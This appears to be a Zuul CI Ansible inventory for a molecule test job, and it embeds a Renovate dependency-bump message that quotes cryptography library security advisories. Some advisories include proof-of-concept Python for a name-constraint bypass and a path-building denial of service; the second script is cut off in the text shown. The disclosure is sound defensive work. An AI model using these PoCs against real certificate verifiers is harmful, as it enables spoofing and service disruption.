all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-trixie:
      ansible_connection: ssh
      ansible_host: 199.204.45.116
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      molecule_install_collection_siblings: true
      molecule_scenario: nerdctl
      nodepool:
        az: yul2
        cloud: public
        external_id: 4aa25619-ce7f-4fdc-b732-3f2c9c349276
        host_id: a01cb4e3d8698a10b6af7a23bf700f5af12859fba177738e8fa3822e
        interface_ip: 199.204.45.116
        label: debian-trixie
        node_properties: {}
        private_ipv4: 199.204.45.116
        private_ipv6: null
        provider: yul1
        public_ipv4: 199.204.45.116
        public_ipv6: 2604:e100:1:0:f816:3eff:fe04:4bb0
        region: ca-ymq-1
        slot: null
      zuul_node:
        az: yul2
        cloud: public
        external_id: 4aa25619-ce7f-4fdc-b732-3f2c9c349276
        host_id: a01cb4e3d8698a10b6af7a23bf700f5af12859fba177738e8fa3822e
        interface_ip: 199.204.45.116
        label: debian-trixie
        node_properties: {}
        private_ipv4: 199.204.45.116
        private_ipv6: null
        provider: yul1
        public_ipv4: 199.204.45.116
        public_ipv6: 2604:e100:1:0:f816:3eff:fe04:4bb0
        region: ca-ymq-1
        slot: null
        uuid: null
  vars:
    molecule_install_collection_siblings: true
    molecule_scenario: nerdctl
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/zuul-config/zuul.d/jobs.yaml@main#1>'
      - '<Job molecule explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/zuul-jobs/zuul.d/ansible-jobs.yaml@main#1>'
      - '<Job ansible-collection-containers-molecule explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: vexxhost/ansible-collection-containers/.zuul.yaml@main#1>'
      - '<Job ansible-collection-containers-molecule-nerdctl explicit: None implied:
        {MatchAny:{ImpliedBranchMatcher:main}} source: vexxhost/ansible-collection-containers/.zuul.yaml@main#136>'
      - '<Job ansible-collection-containers-molecule-nerdctl-debian-trixie explicit:
        None implied: {MatchAny:{ImpliedBranchMatcher:main}} source: vexxhost/ansible-collection-containers/.zuul.yaml@main#143>'
      - '<Job ansible-collection-containers-molecule-nerdctl-debian-trixie explicit:
        None implied: None source: vexxhost/ansible-collection-containers/.zuul.yaml@main#168>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: c196b58dc07c495db0d40bfd1afbb774
      build_refs:
      - branch: main
        change: '153'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `45.0.6` \u2192 `50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/45.0.6/50.0.0?slim=true)
          |\n\n---\n\n### cryptography Vulnerable to a Subgroup Attack Due to Missing
          Subgroup Validation for SECT Curves\n[CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)
          / [GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Vulnerability Summary\n\nThe
          `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`),
          `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()`
          functions do not verify that the point belongs to the expected prime-order
          subgroup of the curve.\n\nThis missing validation allows an attacker to
          provide a public key point `P` from a small-order subgroup.  This can lead
          to security issues in various situations, such as the most commonly used
          signature verification (ECDSA) and shared key negotiation (ECDH). When the
          victim computes the shared secret as `S = [victim_private_key]P` via ECDH,
          \ this leaks information about `victim_private_key mod (small_subgroup_order)`.
          For curves with cofactor > 1, this reveals the least significant bits of
          the private key.  When these weak public keys are used in ECDSA , it's easy
          to forge signatures on the small subgroup.\n\nOnly SECT curves are impacted
          by this.\n\n##### Credit\n\nThis vulnerability was discovered by:\n- XlabAI
          Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2)\n-
          [https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c](https://redirect.github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c)\n-
          [https://github.com/pyca/cryptography/releases/tag/46.0.5](https://redirect.github.com/pyca/cryptography/releases/tag/46.0.5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-26007](https://nvd.nist.gov/vuln/detail/CVE-2026-26007)\n-
          [http://www.openwall.com/lists/oss-security/2026/02/10/4](http://www.openwall.com/lists/oss-security/2026/02/10/4)\n-
          [https://github.com/advisories/GHSA-r6ph-v2qm-q3c2](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-r6ph-v2qm-q3c2)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography has incomplete DNS name constraint enforcement on peer names\n[CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)
          / [GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn versions of cryptography
          prior to 46.0.5, DNS name constraints were only validated against SANs within
          child certificates, and not the \"peer name\" presented during each validation.
          Consequently, cryptography would allow a peer named `bar.example.com` to
          validate against a wildcard leaf certificate for `*.example.com`, even if
          the leaf's parent certificate (or upwards) contained an excluded subtree
          constraint for `bar.example.com`.\n\nThis behavior resulted from a gap between
          RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines
          service identity semantics): put together, neither states definitively whether
          Name Constraints should be applied to peer names. To close this gap, cryptography
          now conservatively rejects any validation where the peer name would be rejected
          by a name constraint if it were a SAN instead.\n\nIn practice, exploitation
          of this bypass requires an uncommon X.509 topology, one that the Web PKI
          avoids because it exhibits these kinds of problems. Consequently, we consider
          this a medium-to-low impact severity.\n\nSee CVE-2025-61727 for a similar
          bypass in Go's `crypto/x509`.\n\n##### Remediation\n\nUsers should upgrade
          to 46.0.6 or newer. \n\n##### Attribution\n\nReporter: @&#8203;1seal\n\n####
          Severity\n- CVSS Score: 1.7 / 10 (Low)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-34073](https://nvd.nist.gov/vuln/detail/CVE-2026-34073)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-35.yaml)\n-
          [https://github.com/advisories/GHSA-m959-cc7f-wv43](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m959-cc7f-wv43)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Cryptography vulnerable to buffer overflow if non-contiguous buffers were
          passed to APIs\n[CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)
          / [GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\nIf a non-contiguous buffer was passed
          to APIs which accepted Python buffers (e.g. `Hash.update()`), this could
          lead to buffer overflows. For example:\n\n```python\nh = Hash(SHA256())\nb.update(buf[::-1])\n```\n\nwould
          read past the end of the buffer on Python >3.11\n\n#### Severity\n- CVSS
          Score: 6.9 / 10 (Medium)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-39892](https://nvd.nist.gov/vuln/detail/CVE-2026-39892)\n-
          [http://www.openwall.com/lists/oss-security/2026/04/08/12](http://www.openwall.com/lists/oss-security/2026/04/08/12)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-36.yaml)\n-
          [https://github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27](https://redirect.github.com/pyca/cryptography/commit/c09d38ae52de7d95fe683b7a7c496f5751616f27)\n-
          [https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5](https://redirect.github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5)\n-
          [https://access.redhat.com/errata/RHSA-2026:19375](https://access.redhat.com/errata/RHSA-2026:19375)\n-
          [https://access.redhat.com/errata/RHSA-2026:43651](https://access.redhat.com/errata/RHSA-2026:43651)\n-
          [https://access.redhat.com/errata/RHSA-2026:43670](https://access.redhat.com/errata/RHSA-2026:43670)\n-
          [https://access.redhat.com/errata/RHSA-2026:43851](https://access.redhat.com/errata/RHSA-2026:43851)\n-
          [https://access.redhat.com/errata/RHSA-2026:43853](https://access.redhat.com/errata/RHSA-2026:43853)\n-
          [https://access.redhat.com/errata/RHSA-2026:43854](https://access.redhat.com/errata/RHSA-2026:43854)\n-
          [https://access.redhat.com/errata/RHSA-2026:43855](https://access.redhat.com/errata/RHSA-2026:43855)\n-
          [https://access.redhat.com/errata/RHSA-2026:46956](https://access.redhat.com/errata/RHSA-2026:46956)\n-
          [https://access.redhat.com/errata/RHSA-2026:7295](https://access.redhat.com/errata/RHSA-2026:7295)\n-
          [https://access.redhat.com/security/cve/CVE-2026-39892](https://access.redhat.com/security/cve/CVE-2026-39892)\n-
          [https://bugzilla.redhat.com/show_bug.cgi?id=2456735](https://bugzilla.redhat.com/show_bug.cgi?id=2456735)\n-
          [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json)\n-
          [https://access.redhat.com/errata/RHSA-2026:20338](https://access.redhat.com/errata/RHSA-2026:20338)\n-
          [https://access.redhat.com/errata/RHSA-2026:21017](https://access.redhat.com/errata/RHSA-2026:21017)\n-
          [https://access.redhat.com/errata/RHSA-2026:22465](https://access.redhat.com/errata/RHSA-2026:22465)\n-
          [https://access.redhat.com/errata/RHSA-2026:22629](https://access.redhat.com/errata/RHSA-2026:22629)\n-
          [https://access.redhat.com/errata/RHSA-2026:22840](https://access.redhat.com/errata/RHSA-2026:22840)\n-
          [https://access.redhat.com/errata/RHSA-2026:23361](https://access.redhat.com/errata/RHSA-2026:23361)\n-
          [https://access.redhat.com/errata/RHSA-2026:24483](https://access.redhat.com/errata/RHSA-2026:24483)\n-
          [https://access.redhat.com/errata/RHSA-2026:24761](https://access.redhat.com/errata/RHSA-2026:24761)\n-
          [https://access.redhat.com/errata/RHSA-2026:24762](https://access.redhat.com/errata/RHSA-2026:24762)\n-
          [https://access.redhat.com/errata/RHSA-2026:24853](https://access.redhat.com/errata/RHSA-2026:24853)\n-
          [https://access.redhat.com/errata/RHSA-2026:24866](https://access.redhat.com/errata/RHSA-2026:24866)\n-
          [https://access.redhat.com/errata/RHSA-2026:24977](https://access.redhat.com/errata/RHSA-2026:24977)\n-
          [https://access.redhat.com/errata/RHSA-2026:30088](https://access.redhat.com/errata/RHSA-2026:30088)\n-
          [https://access.redhat.com/errata/RHSA-2026:30089](https://access.redhat.com/errata/RHSA-2026:30089)\n-
          [https://access.redhat.com/errata/RHSA-2026:37275](https://access.redhat.com/errata/RHSA-2026:37275)\n-
          [https://access.redhat.com/errata/RHSA-2026:42644](https://access.redhat.com/errata/RHSA-2026:42644)\n-
          [https://github.com/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Vulnerable OpenSSL included in cryptography wheels\n[GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\npyca/cryptography's wheels include
          a statically linked copy of OpenSSL. The versions of OpenSSL included in
          wheels prior to cryptograph 48.01 are vulnerable to a security issue. More
          details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf
          you are building cryptography source (\"sdist\") then you are responsible
          for upgrading your copy of OpenSSL. Only users installing from wheels built
          by the cryptography project (i.e., those distributed on PyPI) need to update
          their cryptography versions.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n#### References\n-
          [https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf)\n-
          [https://openssl-library.org/news/secadv/20260609.txt](https://openssl-library.org/news/secadv/20260609.txt)\n-
          [https://github.com/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n-
          [https://github.com/pyca/cryptography/commit/286c89128](https://redirect.github.com/pyca/cryptography/commit/286c89128)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
